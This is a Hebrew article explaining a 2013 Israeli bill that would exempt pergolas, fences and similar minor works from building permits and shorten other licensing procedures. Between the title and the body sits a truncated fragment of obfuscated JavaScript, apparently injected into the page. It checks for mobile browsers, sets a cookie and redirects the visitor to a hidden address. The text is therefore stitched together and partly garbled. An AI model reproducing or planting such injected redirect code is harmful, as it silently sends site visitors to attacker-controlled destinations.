היתר בניה לפרגולה – האם יתכן ופרגולה כבר לא צריכה היתר?

\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

בימים אלה בהם המע"מ עולה, הדלק מתייקר וכמעט אצל כל אחד החור בכיס הולך וגדל, יתכן ויש אור קטן בקצה המנהרה. האור הזה עשוי להקל על אנשים רבים ולתת להם את האפשרות לקצר הליכים בירוקרטים מסובכים וארוכים.

בחודש יוני 2013 הוציא השר גדעון סער תזכיר חוק ובו ניסיון לערוך כמה תיקוני חקיקה בתחום התכנון והבנייה. תיקוני החקיקה מדברים על שלושה מסלולים בתחום הרישוי: מסלול של פטור מהיתר, מסלול של הליך מקוצר ומסלול של הליך רגיל.

מסלול של פטור מהיתר

במסגרת ההצעה, כל אדם שיבקש להוסיף לביתו פרגולה או סוכך, ירצה לגדר את חצר ביתו או להתקין מחסום, יוכל לעשות זאת בלי הצורך לבקש היתר לביצוע שינויי בניה. בנוסף, גם אותם אזרחים שירצו להתקין דודי שמש, מחסן ועוד יוכלו לעשות זאת ללא ההיתר.

מסלול של הליך מקוצר

במסגרת ההצעה מדובר על ביצוע הליך מקוצר של 45 יום למגוון עבודות המוגדרות מינוריות במבנים. עבודות אלו כוללות בין היתר הוספת בנייה של עד 25 מ"ר, הוספת מרחב מוגן וסגירת מרפסת למבנה קיים, הוספת מעליות למבנה קיים ועוד. האישור לביצוע ההליך ינתן על ידי הרשות המקומית כאשר המטרה היא להוריד עומס מוועדות התכנון המחוזיות.

התיקון לחוק זה מצטרף לעוד שורת שינויים רגולטורים שבוצעו בשנים האחרונות במדינה. לחוק זה מספר מטרות עיקריות, בינהן הפחתה משמעותית של הריכוזיות במערכת התכנון בישראל, שיפור השירות לאזרח, קיצור תהליכים בירוקרטים והגדלה משמעותית של מלאי יחידות הדיור כפיתרון למחסור בדירות למכירה בארץ.

דבר נוסף וחשוב לא פחות אשר יוגדר במסגרת החוק החדש הוא הפסקת הסחבת בבקשות האישורים השונים. על פי ההצעה, לוחות הזמנים לקבלת אישורים יוגדרו מחדש והם יוגבלו על פי הסמכויות המוניציפליות השונות.

התייעלות נוספת שהחוק מדבר עליה היא הקמה של מכוני רישוי שיאגדו תחתם את כל הגורמים הממשלתיים שמהם נדרש האישור כמו מכבי אש, פיקוד העורף, משרד הבריאות והמשרד להגנת הסביבה.

במקביל יתאפשר לאזרחים להגיש את בקשות ההיתר שלהם בדרך מקוונת, דרך מערכת רישוי חדשה. מערכת זו תחשוף בפני האזרחים את המידע הרלוונטי באתר חדש וייעודי למטרה זו.

דבר נוסף אשר השר גדעון סער מבקש לעשות הוא להקים מנגנוני פיקוח שיוודאו שכל בעלי הסמכויות פועלים כנדרש.

נכון להיום, בכל רגע נתון נמצאות בוועדות התכנון המקומיות והמחוזיות ובמועצה הארצית לתכנון כ-4000 תוכניות בניה בשלבי האישור השונים. למרות שישנן מאה ועשרים ועדות תכנון מקומיות, אין להן סמכויות תכנון ולכן אין להן השפעה. הרפורמה תעביר לסמכותן של הועדות המקומיות תוכניות מתאר קטנות שמהוות קצת יותר מ-50% מהיקף העבודה של הועדות המחוזיות.

לסיכום, התיקון לחוק הוא הראשון מבין שינויים רבים אותם יש לבצע בתחום התכנון והבניה לרווחת האזרח. המערכת בימים אלה צריכה להתמודד עם אתגרים לא מעטים ועליה לספק שירות יעיל ומענה מהיר ואיכותי לאזרחי המדינה.